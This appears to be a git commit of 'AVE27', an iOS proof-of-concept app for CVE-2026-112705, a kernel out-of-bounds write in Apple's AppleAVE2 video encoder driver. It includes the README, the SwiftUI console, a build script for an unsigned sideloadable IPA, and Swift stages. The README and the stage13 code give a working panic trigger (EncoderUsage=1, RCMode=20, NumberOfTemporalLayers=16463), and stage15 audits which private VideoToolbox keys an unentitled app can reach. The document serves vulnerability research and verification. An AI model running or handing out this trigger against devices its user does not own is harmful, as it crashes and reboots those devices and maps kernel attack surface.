AVE27 — standalone POC app for CVE-2026-112705 (AppleAVE2 NTL OOB write)

- All stages ported from MchinaMd57764/AVETemporalPoC (orig. Calif/Chollima):
  stage1-12, 20, 21, fuzz, SBE — launch-arg parity kept
- New: stage13 NTL threshold sweep, stage14 usage×rc acceptance matrix,
  stage15 private-key entitlement audit (23 keys)
- Panic journal: kern.boottime-based in-app panic evidence after reboot
- Interactive SwiftUI console + NTL field + report share; header shows
  PANIC-CAPABLE on iOS 27.0-27.1, FIXED BUILD on 27.2+
- App icon: temporal-layer stack, top layer displaced past the stack edge
- scripts/build-device.sh → unsigned arm64 IPA (iOS 17.0+)
This commit is contained in:
JBJF committed 2026-10-30 19:13:13 +08:00
commit bc019e2b6c
11 files changed
+1829

No files matched your search

+4
View File
@@ -0,0 +1,4 @@
build/
dist/
*.ipa
.DS_Store
+66
View File
@@ -0,0 +1,66 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleDevelopmentRegion</key>
<string>en</string>
<key>CFBundleDisplayName</key>
<string>AVE27</string>
<key>CFBundleExecutable</key>
<string>AVE27</string>
<key>CFBundleIdentifier</key>
<string>com.jbjf.ave27</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundleName</key>
<string>AVE27</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleSupportedPlatforms</key>
<array>
<string>iPhoneOS</string>
</array>
<key>CFBundleVersion</key>
<string>1</string>
<key>DTPlatformName</key>
<string>iphoneos</string>
<key>DTPlatformVersion</key>
<string>27.0</string>
<key>DTSDKName</key>
<string>iphoneos27.0</string>
<key>ITSAppUsesNonExemptEncryption</key>
<false/>
<key>LSRequiresIPhoneOS</key>
<true/>
<key>MinimumOSVersion</key>
<string>17.0</string>
<key>UIApplicationSceneManifest</key>
<dict>
<key>UIApplicationSupportsMultipleScenes</key>
<false/>
</dict>
<key>UIFileSharingEnabled</key>
<true/>
<key>LSSupportsOpeningDocumentsInPlace</key>
<true/>
<key>UILaunchScreen</key>
<dict/>
<key>UIRequiredDeviceCapabilities</key>
<array>
<string>arm64</string>
</array>
<key>UISupportedInterfaceOrientations</key>
<array>
<string>UIInterfaceOrientationPortrait</string>
</array>
<key>UISupportedInterfaceOrientations~ipad</key>
<array>
<string>UIInterfaceOrientationPortrait</string>
<string>UIInterfaceOrientationPortraitUpsideDown</string>
<string>UIInterfaceOrientationLandscapeLeft</string>
<string>UIInterfaceOrientationLandscapeRight</string>
</array>
</dict>
</plist>
+61
View File
@@ -0,0 +1,61 @@
# AVE27 — standalone POC app for CVE-2026-112705
Standalone iOS app for **CVE-2026-112705** — AppleAVE2 kernel out-of-bounds write
via `NumberOfTemporalLayers` (VideoToolbox). Original discovery: Calif / Chollima
team; this app ports the reproduction from
[MchinaMd57764/AVETemporalPoC-CVE-2026-112705](https://github.com/MchinaMd57764/AVETemporalPoC-CVE-2026-112705)
into a self-contained, interactive harness and extends it with exploration stages.
- Component: `com.apple.driver.AppleAVE2` (kernel)
- Type: kernel OOB write, fixed-offset constant fill — panic/DoS, **no** read/write primitive
- Affected: iOS 27.0 – 27.1 (24A446 line)
- Fixed: iOS 27.2 — `NTL` returns `-12900` at SetProperty, no panic
- Highest supported target: **iOS 27.1**
## What the app does
All nine original stages ported verbatim (props readback, encode trigger, property
fuzz, multi-PPS, layer-ID probe, bitstream dump, NTL ladder, per-rung parameter-set
capture, DPB-array overflow, UserDPB IOSurface table, H.264 slice-count decode,
MVHEVC ID validation, sandbox-extension probe), plus three new exploration stages:
| Stage | What it maps |
|---|---|
| **stage9** | the panic trigger: `EncoderUsage=1` + `RCMode=20` + `NTL=16463` → first encode panics AppleAVE2 (kernel data abort, `far=0x59 x19=0x1`); 16462 survives |
| **stage13** | NTL threshold sweep, bottom-up, one session per rung — finds the exact landing rung; panic journal arms per rung |
| **stage14** | `EncoderUsage` × `RCMode` acceptance matrix at a safe layer count — which private mode selectors the driver honours from a stock app |
| **stage15** | private-key audit: 23 non-public VideoToolbox keys set from an unentitled sandboxed app; the accepted set is the privilege surface reaching AppleAVE2 |
| **SBE** | sandbox-extension issuance probe — can a third-party app issue read/write extensions for paths outside its container |
| panic journal | armed before every panic-capable encode; on next launch, an unfinished journal + changed `kern.boottime` = that run ended in a kernel panic, in-app, no console needed |
Interactive UI: stage buttons, NTL field, live monospaced console, report share
sheet. Launch-argument mode keeps full parity with the original repo
(`--stage9 16463`, `--stage13`, `--fuzz`, `--sbext`, …). Report lands in
`Documents/ave_report.txt`, live oracle in `Documents/live.txt` — the last line
before a panic is `stage9(...) encode[0]`.
## Building
```bash
bash scripts/build-device.sh # → dist/AVE27-unsigned.ipa (arm64, iOS 17.0+, unsigned)
python3 scripts/gen_icon.py # regenerates the app icon (no image library needed)
```
Unsigned IPA — sign with your own certificate + provisioning profile, then
sideload. The simulator has no hardware encode path; panic stages need a real
device on 27.0/27.1.
## Panic evidence workflow
1. Launch → tap **stage9 panic** (or `--stage9 16463`). Device reboots.
2. Relaunch. The header still says PANIC-CAPABLE; the console opens with the
journal verdict: which stage, which rung, which boot — and points at
Settings → Privacy → Analytics for the matching `.ips`.
3. Export `ave_report.txt` / `live.txt` from Files → AVE27.
## Credits & scope
Original discovery and panic evidence: **Calif / Chollima team**, independent
reproduction by MchinaMd57764. This app reproduces a public, already-patched CVE
for verification and research on devices you own. It contains no exploitation
code — the defect is a fixed-offset constant fill with no read/write capability.
Binary file not shown.

After

Width:  |  Height:  |  Size: 66 KiB

@@ -0,0 +1,14 @@
{
"images" : [
{
"filename" : "AppIcon-1024.png",
"idiom" : "universal",
"platform" : "ios",
"size" : "1024x1024"
}
],
"info" : {
"author" : "xcode",
"version" : 1
}
}
+6
View File
@@ -0,0 +1,6 @@
{
"info" : {
"author" : "xcode",
"version" : 1
}
}
+254
View File
@@ -0,0 +1,254 @@
// AVE27 · app entry + stage console UI
// Two drive modes:
// 1. launch arguments (parity with the original repo): --stage9 16463, --stage13,
// --fuzz, --sbext, ... same dispatch table as AVETemporalPoC
// 2. interactive: pick a stage, set the layer count, run, watch the live console
// Every launch checks the panic journal first — an unfinished armed run plus a
// changed kernel boot time is reported as the panic that ended it.
import SwiftUI
import UIKit
@main
struct AVE27App: App {
var body: some Scene {
WindowGroup { RootView() }
}
}
/// Bridges the Probe singleton's append-only log to SwiftUI.
final class LogStore: ObservableObject {
@Published var text: String = ""
init() {
Probe.shared.onUpdate = { [weak self] in
let snapshot = Probe.shared.log
DispatchQueue.main.async { self?.text = snapshot }
}
}
}
struct RootView: View {
@StateObject private var store = LogStore()
@State private var ntlText = "16463"
@State private var keyText = "NumberOfTemporalLayers"
@State private var fileText = "avc_900_slices.h264"
@State private var running = false
private var ntl: Int { Int(ntlText) ?? 16463 }
var body: some View {
VStack(spacing: 0) {
header
stageMenu
console
}
.background(Color.black.ignoresSafeArea())
.onAppear(perform: launch)
.toolbar { ToolbarItem(placement: .navigationBarTrailing) { shareButton } }
.preferredColorScheme(.dark)
}
// ── header ────────────────────────────────────────────────────────────
private var header: some View {
HStack(alignment: .firstTextBaseline) {
VStack(alignment: .leading, spacing: 2) {
Text("AVE27")
.font(.system(.headline, design: .monospaced))
Text("CVE-2026-112705 · AppleAVE2 · " + deviceLine)
.font(.system(.caption2, design: .monospaced))
.foregroundStyle(.secondary)
}
Spacer()
Text(panicCapable ? "PANIC-CAPABLE" : "FIXED BUILD")
.font(.system(.caption2, design: .monospaced, weight: .bold))
.foregroundStyle(panicCapable ? Color(red: 1, green: 0.55, blue: 0.2) : .green)
}
.padding(.horizontal).padding(.vertical, 8)
}
private var deviceLine: String {
let os = ProcessInfo.processInfo.operatingSystemVersion
let ver = "\(os.majorVersion).\(os.minorVersion)"
var size = 0
sysctlbyname("hw.machine", nil, &size, nil, 0)
var machine = [CChar](repeating: 0, count: size)
sysctlbyname("hw.machine", &machine, &size, nil, 0)
let model = String(cString: machine)
return "iOS \(ver) · \(model)"
}
/// iOS 27.0 – 27.1 carries the unfixed AppleAVE2; 27.2+ refuses NTL at -12900.
private var panicCapable: Bool {
let os = ProcessInfo.processInfo.operatingSystemVersion
return (os.majorVersion == 27 && os.minorVersion <= 1)
}
// ── stage menu ────────────────────────────────────────────────────────
private var stageMenu: some View {
ScrollView(.horizontal, showsIndicators: false) {
HStack(spacing: 8) {
stageButton("stage9 panic") { Probe.shared.stage9(n: ntl) }
stageButton("stage13 sweep") { Probe.shared.stage13() }
stageButton("stage14 matrix") { Probe.shared.stage14() }
stageButton("stage15 audit") { Probe.shared.stage15() }
stageButton("SBE") { Probe.shared.stageSandboxExtensions() }
Divider().frame(height: 24)
stageButton("stage1 props") { Probe.shared.stage1() }
stageButton("stage7 dump") { Probe.shared.stage7() }
stageButton("fuzz") { Probe.shared.fuzz() }
stageButton("stage5 layer") { Probe.shared.stage5() }
stageButton("stage21 ids") { Probe.shared.stage21() }
Divider().frame(height: 24)
stageButton("stage2 encode") { Probe.shared.stage2(value: ntl) }
stageButton("stage6 dump") { Probe.shared.stage6(num: 4) }
stageButton("stage10 ps") { Probe.shared.stage10(n: 8) }
stageButton("stage11 dpb") { Probe.shared.stage11(n: 24) }
stageButton("stage12 userdpb") { Probe.shared.stage12(n: 24, shape: 1) }
stageButton("stage20 decode") { Probe.shared.stage20(file: fileText) }
stageButton("stage8 key") { Probe.shared.stage8(key: keyText, values: [1, 4, 8, 16, 64]) }
stageButton("stage4 pps") { Probe.shared.stage4(count: 16) }
}
.padding(.horizontal).padding(.bottom, 6)
}
}
private func stageButton(_ label: String, _ action: @escaping () -> Void) -> some View {
Button {
runStage(action)
} label: {
Text(label)
.font(.system(.caption, design: .monospaced))
.padding(.horizontal, 10).padding(.vertical, 6)
.background(RoundedRectangle(cornerRadius: 6).fill(Color(white: 0.14)))
.overlay(RoundedRectangle(cornerRadius: 6).strokeBorder(Color(white: 0.28)))
}
.buttonStyle(.plain)
.disabled(running)
.opacity(running ? 0.4 : 1)
}
private func runStage(_ action: @escaping () -> Void) {
running = true
DispatchQueue.global(qos: .userInitiated).async {
action()
Probe.shared.writeReport()
DispatchQueue.main.async { running = false }
}
}
// ── console ───────────────────────────────────────────────────────────
private var console: some View {
ScrollView {
ScrollViewReader { proxy in
Text(store.text.isEmpty ? "console — pick a stage\nargs mode: --stage9 16463" : store.text)
.font(.system(size: 10.5, design: .monospaced))
.frame(maxWidth: .infinity, alignment: .leading)
.padding(8)
.id("tail")
.onChange(of: store.text) { _, _ in
proxy.scrollTo("tail", anchor: .bottom)
}
}
}
.background(Color(white: 0.06))
.overlay(alignment: .top) { paramRow }
}
private var paramRow: some View {
HStack(spacing: 12) {
VStack(alignment: .leading, spacing: 1) {
Text("NTL").font(.system(.caption2, design: .monospaced)).foregroundStyle(.secondary)
TextField("16463", text: $ntlText)
.keyboardType(.numberPad)
.font(.system(.caption, design: .monospaced))
.frame(width: 84)
.textFieldStyle(.roundedBorder)
}
VStack(alignment: .leading, spacing: 1) {
Text("key / file").font(.system(.caption2, design: .monospaced)).foregroundStyle(.secondary)
TextField("file", text: $fileText)
.font(.system(.caption, design: .monospaced))
.textFieldStyle(.roundedBorder)
}
Spacer()
}
.padding(.horizontal).padding(.vertical, 6)
.background(.thinMaterial)
}
// ── share ─────────────────────────────────────────────────────────────
private var shareButton: some View {
Button {
let docs = FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0]
let url = docs.appendingPathComponent("ave_report.txt")
try? Probe.shared.log.write(to: url, atomically: true, encoding: .utf8)
let av = UIActivityViewController(activityItems: [Probe.shared.log as NSString, url],
applicationActivities: nil)
UIApplication.shared.connectedScenes
.compactMap { ($0 as? UIWindowScene)?.keyWindow?.rootViewController }
.first?.present(av, animated: true)
} label: {
Image(systemName: "square.and.arrow.up")
}
}
// ── launch: panic evidence first, then argument dispatch ─────────────
private func launch() {
running = true
DispatchQueue.global(qos: .userInitiated).async {
Probe.shared.checkPanicEvidence()
runFromArguments()
Probe.shared.writeReport()
DispatchQueue.main.async { running = false }
}
}
/// Original repo dispatch, verbatim parity — runs when launch arguments are present.
private func runFromArguments() {
let args = ProcessInfo.processInfo.arguments
let p = Probe.shared
guard args.contains(where: { $0.hasPrefix("--") }) else { return }
if args.contains("--fuzz") { p.fuzz() }
else if args.contains("--sbext") { p.stageSandboxExtensions() }
else if args.contains("--props") { p.stage1() }
else if args.contains("--stage5") { p.stage5() }
else if let i = args.firstIndex(of: "--stage20"), i + 1 < args.count {
p.stage20(file: args[i + 1])
} else if args.contains("--stage21") { p.stage21() }
else if let i = args.firstIndex(of: "--stage12"), i + 1 < args.count {
let shape = (i + 2 < args.count ? Int(args[i + 2]) : nil) ?? 1
let usage = (i + 3 < args.count ? Int(args[i + 3]) : nil) ?? 0
p.stage12(n: Int(args[i + 1]) ?? 3, shape: shape, usage: usage)
} else if let i = args.firstIndex(of: "--stage11"), i + 1 < args.count {
p.stage11(n: Int(args[i + 1]) ?? 3)
} else if let i = args.firstIndex(of: "--stage10"), i + 1 < args.count {
let usage = (i + 2 < args.count ? Int(args[i + 2]) : nil) ?? 0
p.stage10(n: Int(args[i + 1]) ?? 8, usage: usage)
} else if let i = args.firstIndex(of: "--stage9"), i + 1 < args.count {
p.stage9(n: Int(args[i + 1]) ?? 12742)
} else if let i = args.firstIndex(of: "--stage13"), i + 1 < args.count {
let lo = Int(args[i + 1]) ?? 16450
let hi = (i + 2 < args.count ? Int(args[i + 2]) : nil) ?? 16470
p.stage13(lo: min(lo, hi), hi: max(lo, hi))
} else if args.contains("--stage14") { p.stage14() }
else if args.contains("--stage15") { p.stage15() }
else if args.contains("--stage7") { p.stage7() }
else if let i = args.firstIndex(of: "--stage8"), i + 2 < args.count {
let key = args[i + 1]
let vals = args[i + 2].split(separator: ",").compactMap { Int($0) }
p.stage8(key: key, values: vals.isEmpty ? [8] : vals)
} else if let i = args.firstIndex(of: "--stage6"), i + 1 < args.count {
p.stage6(num: Int(args[i + 1]) ?? 1)
} else if let i = args.firstIndex(of: "--stage4"), i + 1 < args.count {
p.stage4(count: Int(args[i + 1]) ?? 16)
} else if let i = args.firstIndex(of: "--encode"), i + 1 < args.count {
func intArg(_ name: String, _ def: Int) -> Int {
guard let j = args.firstIndex(of: name), j + 1 < args.count else { return def }
return Int(args[j + 1]) ?? def
}
p.stage2(value: Int(args[i + 1]) ?? 8,
realtime: !args.contains("--nort"),
efr: intArg("--efr", 30), blr: intArg("--blr", 15))
} else { p.stage1() }
}
}
+144
View File
@@ -0,0 +1,144 @@
// AVE27 · exploration stages — what lies beyond the panic
// stage13: NTL threshold sweep — maps the exact landing rung of the OOB write.
// stage14: EncoderUsage × RCMode matrix at a safe layer count — which private
// parameter combinations the driver accepts from a stock sandboxed app.
// stage15: private property key audit — the full acceptance surface of
// non-public VideoToolbox keys with no entitlement behind them.
// All three share the live.txt oracle; stage13 arms the panic journal per rung.
import Foundation
import VideoToolbox
import CoreMedia
import CoreVideo
extension Probe {
/// Stage 13: NTL threshold sweep, one session per rung, bottom-up.
/// On a vulnerable build the walk panics at the first landing rung — live.txt
/// ends on that rung and the panic journal proves it after the reboot.
/// On 27.2 the first rung past the cap returns -12900 at SetProperty and the
/// sweep stops clean: two disjoint, unambiguous signatures.
func stage13(lo: Int = 16450, hi: Int = 16470) {
emit("stage13 sweep \(lo)...\(hi) (bottom-up, one session per rung)")
for n in lo...hi {
guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else {
emit("stage13(\(n)): no session"); return
}
let sUsage = VTSessionSetProperty(session, key: "EncoderUsage" as CFString, value: NSNumber(value: 1))
let sRC = VTSessionSetProperty(session, key: "RCMode" as CFString, value: NSNumber(value: 20))
_ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse)
let st = VTSessionSetProperty(session, key: "NumberOfTemporalLayers" as CFString,
value: NSNumber(value: n))
if st != 0 {
emit("stage13 rung \(n): SetProperty refused (\(st)) — fixed-build cap reached")
VTCompressionSessionInvalidate(session)
break
}
var attrs: [CFString: Any] = [:]
attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary
var pb: CVPixelBuffer?
_ = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720,
kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange,
attrs as CFDictionary, &pb)
guard let pixel = pb else { emit("stage13(\(n)): no pixel"); return }
armJournal("stage13", ntl: n)
let pts = CMTime(value: CMTimeValue(0), timescale: 30)
let est = VTCompressionSessionEncodeFrame(
session, imageBuffer: pixel, presentationTimeStamp: pts,
duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { _, _, _ in }
emit("stage13 rung \(n): usage=\(sUsage) rc=\(sRC) encode=\(est) readback: " +
readBack(session, "NumberOfTemporalLayers" as CFString))
VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid)
VTCompressionSessionInvalidate(session)
finishJournal()
if est != 0 { emit("stage13 rung \(n): encode refused (\(est)) — stopping sweep"); break }
}
emit("stage13 complete — device survived every rung")
}
/// Stage 14: EncoderUsage × RCMode matrix at a safe layer count (8). The panic
/// recipe is one cell of this grid; the rest maps which private mode selectors
/// the driver honours from an unentitled third-party process.
func stage14() {
let usages = [0, 1, 4, 8, 16]
let rcmodes = [0, 1, 8, 20, 22, 23]
emit("stage14 usage × rc matrix at NTL=8 (\(usages.count)×\(rcmodes.count) cells)")
for u in usages {
for rc in rcmodes {
guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else {
emit("stage14 u\(u) r\(rc): no session"); return
}
_ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse)
let su = VTSessionSetProperty(session, key: "EncoderUsage" as CFString, value: NSNumber(value: u))
let sr = VTSessionSetProperty(session, key: "RCMode" as CFString, value: NSNumber(value: rc))
let sn = VTSessionSetProperty(session, key: "NumberOfTemporalLayers" as CFString, value: NSNumber(value: 8))
var attrs: [CFString: Any] = [:]
attrs[kCVPixelBufferIOSurfacePropertiesKey] = [:] as CFDictionary
var pb: CVPixelBuffer?
_ = CVPixelBufferCreate(kCFAllocatorDefault, 1280, 720,
kCVPixelFormatType_420YpCbCr8BiPlanarVideoRange,
attrs as CFDictionary, &pb)
guard let pixel = pb else { emit("stage14: no pixel"); return }
let pts = CMTime(value: CMTimeValue(0), timescale: 30)
let est = VTCompressionSessionEncodeFrame(
session, imageBuffer: pixel, presentationTimeStamp: pts,
duration: .invalid, frameProperties: nil, infoFlagsOut: nil) { _, _, _ in }
VTCompressionSessionCompleteFrames(session, untilPresentationTimeStamp: .invalid)
emit("stage14 u=\(u)(\(su)) rc=\(rc)(\(sr)) ntl(\(sn)) encode=\(est)")
VTCompressionSessionInvalidate(session)
}
}
emit("stage14 complete — acceptance matrix above")
}
/// Stage 15: private property key audit. Which non-public VideoToolbox keys a
/// stock, sandboxed, unentitled app can set on an Apple hardware encoder session —
/// the privilege surface beyond the crash. Accepted keys reach the kernel driver
/// through the same unvalidated property path the CVE lives in.
func stage15() {
// (key, probe value): numbers probe the scalar path, arrays the table path
let probes: [(String, Any)] = [
("EncoderUsage", NSNumber(value: 1)),
("RCMode", NSNumber(value: 20)),
("NumberOfTemporalLayers", NSNumber(value: 4)),
("NumOfTemporalLayer", NSNumber(value: 4)),
("NumOfGOPLayer", NSNumber(value: 2)),
("BaseLayerFrameRate", NSNumber(value: 15)),
("MCTFStrengthLevel", NSNumber(value: 3)),
("MCTFMaxNextRefNum", NSNumber(value: 2)),
("ChromaQPIndexOffsetMultiPPS", "0 0 0 0" as NSString),
("LRMERSPassNum", NSNumber(value: 1)),
("MultiReferencePSpacing", NSNumber(value: 3)),
("NumNegativePics", NSNumber(value: 4)),
("NumPositivePics", NSNumber(value: 0)),
("AbsDeltaRPSMinus1", [NSNumber(value: 0), NSNumber(value: 1)] as CFArray),
("DeltaRPSSign", [NSNumber(value: 0), NSNumber(value: 0)] as CFArray),
("RPSData", [NSNumber(value: 1)] as CFArray),
("RPSInfo", [NSNumber(value: 1)] as CFArray),
("HEVCTemporalLevelInfoCombinations", [NSNumber(value: 1)] as CFArray),
("HEVCAuxiliaryLayerIDs", [NSNumber(value: 1), NSNumber(value: 2)] as CFArray),
("MVHEVCVideoLayerIDs", [NSNumber(value: 0), NSNumber(value: 1)] as CFArray),
("EnableUserRefForFacetime", kCFBooleanTrue as Any),
("DPBRequirements", ["NumberOfFrames" as CFString: NSNumber(value: 2),
"AllocateRVRABuffers" as CFString: kCFBooleanFalse as Any] as CFDictionary),
("TemporalIDNestingFlag", NSNumber(value: 1)),
]
emit("stage15 private-key audit (\(probes.count) keys, unentitled sandboxed app)")
var accepted: [String] = []
for (key, value) in probes {
guard let session = makeSession(codec: kCMVideoCodecType_HEVC, w: 1280, h: 720) else {
emit("stage15 \(key): no session"); return
}
_ = VTSessionSetProperty(session, key: kVTCompressionPropertyKey_RealTime, value: kCFBooleanFalse)
let st = VTSessionSetProperty(session, key: key as CFString, value: value as CFTypeRef)
let rd = readBack(session, key as CFString)
emit("stage15 \(key) -> status=\(st) readback: \(rd)")
if st == 0 { accepted.append(key) }
VTCompressionSessionInvalidate(session)
}
emit("stage15 accepted-without-entitlement (\(accepted.count)/\(probes.count)): \(accepted.joined(separator: ", "))")
emit("stage15 complete — these keys reach the AppleAVE2 driver from a stock app")
}
}
+1038
View File
File diff suppressed because it is too large. Load diff
+69
View File
@@ -0,0 +1,69 @@
#!/bin/bash
# Build an unsigned arm64 IPA for AVE27 (CVE-2026-112705 standalone POC).
# The IPA is deliberately unsigned — sign it with your own certificate / profile.
set -euo pipefail
ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
OUT="$ROOT/build/device"
APP="$OUT/Payload/AVE27.app"
IPA="$ROOT/dist/AVE27-unsigned.ipa"
SDK="$(xcrun --sdk iphoneos --show-sdk-path)"
MIN_IOS="${MIN_IOS:-17.0}"
echo "== icon =="
if [ ! -f "$ROOT/Resources/AppIcon-1024.png" ]; then
python3 "$ROOT/scripts/gen_icon.py" > /dev/null
fi
echo "== clean =="
rm -rf "$OUT"
mkdir -p "$APP"
echo "== compile (arm64, min iOS $MIN_IOS) =="
xcrun --sdk iphoneos swiftc \
-parse-as-library \
-swift-version 5 \
-O \
-target "arm64-apple-ios$MIN_IOS" \
-sdk "$SDK" \
-o "$APP/AVE27" \
"$ROOT"/Sources/*.swift
echo "== resources =="
cp "$ROOT/Info.plist" "$APP/Info.plist"
printf 'APPL????' > "$APP/PkgInfo"
echo "== asset catalog =="
xcrun actool "$ROOT/Resources/Assets.xcassets" \
--compile "$APP" \
--platform iphoneos \
--minimum-deployment-target "$MIN_IOS" \
--app-icon AppIcon \
--output-partial-info-plist "$OUT/assetcatalog_generated_info.plist" \
--target-device iphone \
--target-device ipad > /dev/null
echo "== merge asset catalog Info.plist keys =="
python3 - "$APP/Info.plist" "$OUT/assetcatalog_generated_info.plist" <<'PY'
import plistlib, sys
info_path, partial_path = sys.argv[1], sys.argv[2]
with open(info_path, "rb") as fh:
info = plistlib.load(fh)
with open(partial_path, "rb") as fh:
partial = plistlib.load(fh)
partial.pop("com.apple.actool.compilation-results", None)
info.update(partial)
with open(info_path, "wb") as fh:
plistlib.dump(info, fh, fmt=plistlib.FMT_BINARY)
PY
chmod 755 "$APP/AVE27"
chmod 644 "$APP/Info.plist"
/usr/bin/plutil -lint "$APP/Info.plist"
echo "== package Payload/ -> .ipa =="
mkdir -p "$ROOT/dist"
rm -f "$IPA"
( cd "$OUT" && zip -qry "$IPA" Payload )
echo "IPA: $IPA"
ls -lh "$IPA"
+173
View File
@@ -0,0 +1,173 @@
#!/usr/bin/env python3
"""
gen_icon.py — the AVE27 app icon, drawn with a signed-distance renderer and
written as a raw PNG (no image library).
The mark: a stack of five temporal layers — an SVC pyramid, widest at the base.
The top layer is displaced up and out past the stack's bounding edge: the layer
count that walks past what the driver sized. Deep slate field, steel layers,
the escaping layer in hot ember with the halo of the write landing somewhere
it was never allocated.
"""
import math
import os
import struct
import zlib
OUT = os.path.join(os.path.dirname(os.path.abspath(__file__)), "..", "Resources", "Assets.xcassets", "AppIcon.appiconset")
os.makedirs(OUT, exist_ok=True)
SIZE = 1024
def srgb(c):
return max(0, min(255, int(round(c))))
def mix(a, b, t):
return tuple(a[i] + (b[i] - a[i]) * t for i in range(3))
def smoothstep(e0, e1, x):
t = max(0.0, min(1.0, (x - e0) / (e1 - e0)))
return t * t * (3 - 2 * t)
def sd_round_rect(px, py, cx, cy, hw, hh, r):
qx = abs(px - cx) - (hw - r)
qy = abs(py - cy) - (hh - r)
outside = math.hypot(max(qx, 0.0), max(qy, 0.0))
inside = min(max(qx, qy), 0.0)
return outside + inside - r
# ---------------------------------------------------------------- palette
BG_TOP = (0.086, 0.094, 0.118)
BG_BOT = (0.024, 0.026, 0.038)
LAYER_COLD = (0.36, 0.44, 0.58)
LAYER_WARM = (0.52, 0.62, 0.78)
EMBER = (1.00, 0.44, 0.14)
EMBER_HOT = (1.00, 0.76, 0.38)
# stack geometry: five layers, widths grow downward, top one escapes
STACK_CY = SIZE * 0.555
LAYER_H = SIZE * 0.082
LAYER_GAP = SIZE * 0.028
BASE_HALF = SIZE * 0.30
TOP_HALF = SIZE * 0.115
LAYERS = 5
# the escape: top layer displaced up-right, past the stack's right edge
ESC_DX = SIZE * 0.145
ESC_DY = -SIZE * 0.085
def render():
out = bytearray()
half = SIZE / 2
radius = SIZE * 0.2237
tau = math.tau
cos, sin, hypot = math.cos, math.sin, math.hypot
# precompute layer rects: index 0 = base .. LAYERS-1 = top
step = LAYER_H + LAYER_GAP
total = LAYERS * LAYER_H + (LAYERS - 1) * LAYER_GAP
rects = []
for i in range(LAYERS):
t = i / (LAYERS - 1)
hw = BASE_HALF + (TOP_HALF - BASE_HALF) * t
cy = STACK_CY + total / 2 - LAYER_H / 2 - i * step
cx = half
r = LAYER_H * 0.32
rects.append((cx, cy, hw, LAYER_H / 2, r, t))
esc_rect = None
if LAYERS >= 1:
cx, cy, hw, hh, r, t = rects[-1]
esc_rect = (cx + ESC_DX, cy + ESC_DY, hw, hh, r, t)
esc_cx, esc_cy = esc_rect[0], esc_rect[1]
halo_r = SIZE * 0.20
for y in range(SIZE):
out.append(0)
py = y + 0.5
for x in range(SIZE):
px = x + 0.5
# background
g = py / SIZE
col = mix(BG_TOP, BG_BOT, g)
d = hypot(px - half, py - SIZE * 0.47)
lift = 1.0 - smoothstep(0.0, SIZE * 0.66, d)
col = tuple(min(1.0, col[i] + 0.05 * lift) for i in range(3))
# faint baseline under the stack
sd_base = abs(py - (STACK_CY + LAYER_H * 2.6)) - SIZE * 0.004
if abs(px - half) < BASE_HALF * 1.25:
cov = 1.0 - smoothstep(-1.0, 1.0, sd_base)
col = mix(col, LAYER_COLD, cov * 0.22)
# the stack: steel gradient, cold at base, warmer toward the top
for (cx, cy, hw, hh, r, t) in rects[:-1]:
sd = sd_round_rect(px, py, cx, cy, hw, hh, r)
if sd < 1.2:
cov = 1.0 - smoothstep(-1.2, 1.2, sd)
layer_col = mix(LAYER_COLD, LAYER_WARM, t)
col = mix(col, layer_col, cov * 0.9)
# the escaping layer: ember, halo behind it
d_esc = hypot(px - esc_cx, py - esc_cy)
if d_esc < halo_r:
halo = 1.0 - smoothstep(0.0, halo_r, d_esc)
hk = 0.22 * halo * halo
col = tuple(min(1.0, col[i] + EMBER[i] * hk) for i in range(3))
(cx, cy, hw, hh, r, t) = esc_rect
sd = sd_round_rect(px, py, cx, cy, hw, hh, r)
if sd < 1.2:
cov = 1.0 - smoothstep(-1.2, 1.2, sd)
# hot edge on the leading (upper-right) side
heat = smoothstep(0.0, 1.0, (px - cx + hw) / (2 * hw)) * 0.7
col = mix(col, mix(EMBER, EMBER_HOT, heat), cov)
# the trail: where the escaping layer used to sit — an ember outline
(cx, cy, hw, hh, r, t) = rects[-1]
sd_trail = abs(sd_round_rect(px, py, cx, cy, hw, hh, r)) - SIZE * 0.006
if sd_trail < 1.2:
cov = (1.0 - smoothstep(-1.2, 1.2, sd_trail)) * 0.8
col = mix(col, EMBER, cov)
# rounded-rect alpha
sd_r = sd_round_rect(px, py, half, half, half - 0.5, half - 0.5, radius)
a = 1.0 - smoothstep(-0.75, 0.75, sd_r)
out += bytes([srgb(min(1.0, col[0]) * 255), srgb(min(1.0, col[1]) * 255),
srgb(min(1.0, col[2]) * 255), srgb(a * 255)])
return bytes(out)
def write_png(path, width, height, rgba):
def chunk(tag, data):
c = struct.pack(">I", len(data)) + tag + data
c += struct.pack(">I", zlib.crc32(tag + data) & 0xFFFFFFFF)
return c
ihdr = struct.pack(">IIBBBBB", width, height, 8, 6, 0, 0, 0)
raw = zlib.compress(rgba, 9)
png = (b"\x89PNG\r\n\x1a\n"
+ chunk(b"IHDR", ihdr)
+ chunk(b"IDAT", raw)
+ chunk(b"IEND", b""))
with open(path, "wb") as f:
f.write(png)
def main():
data = render()
icon = os.path.join(OUT, "AppIcon-1024.png")
write_png(icon, SIZE, SIZE, data)
print("wrote", icon, os.path.getsize(icon), "bytes")
if __name__ == "__main__":
main()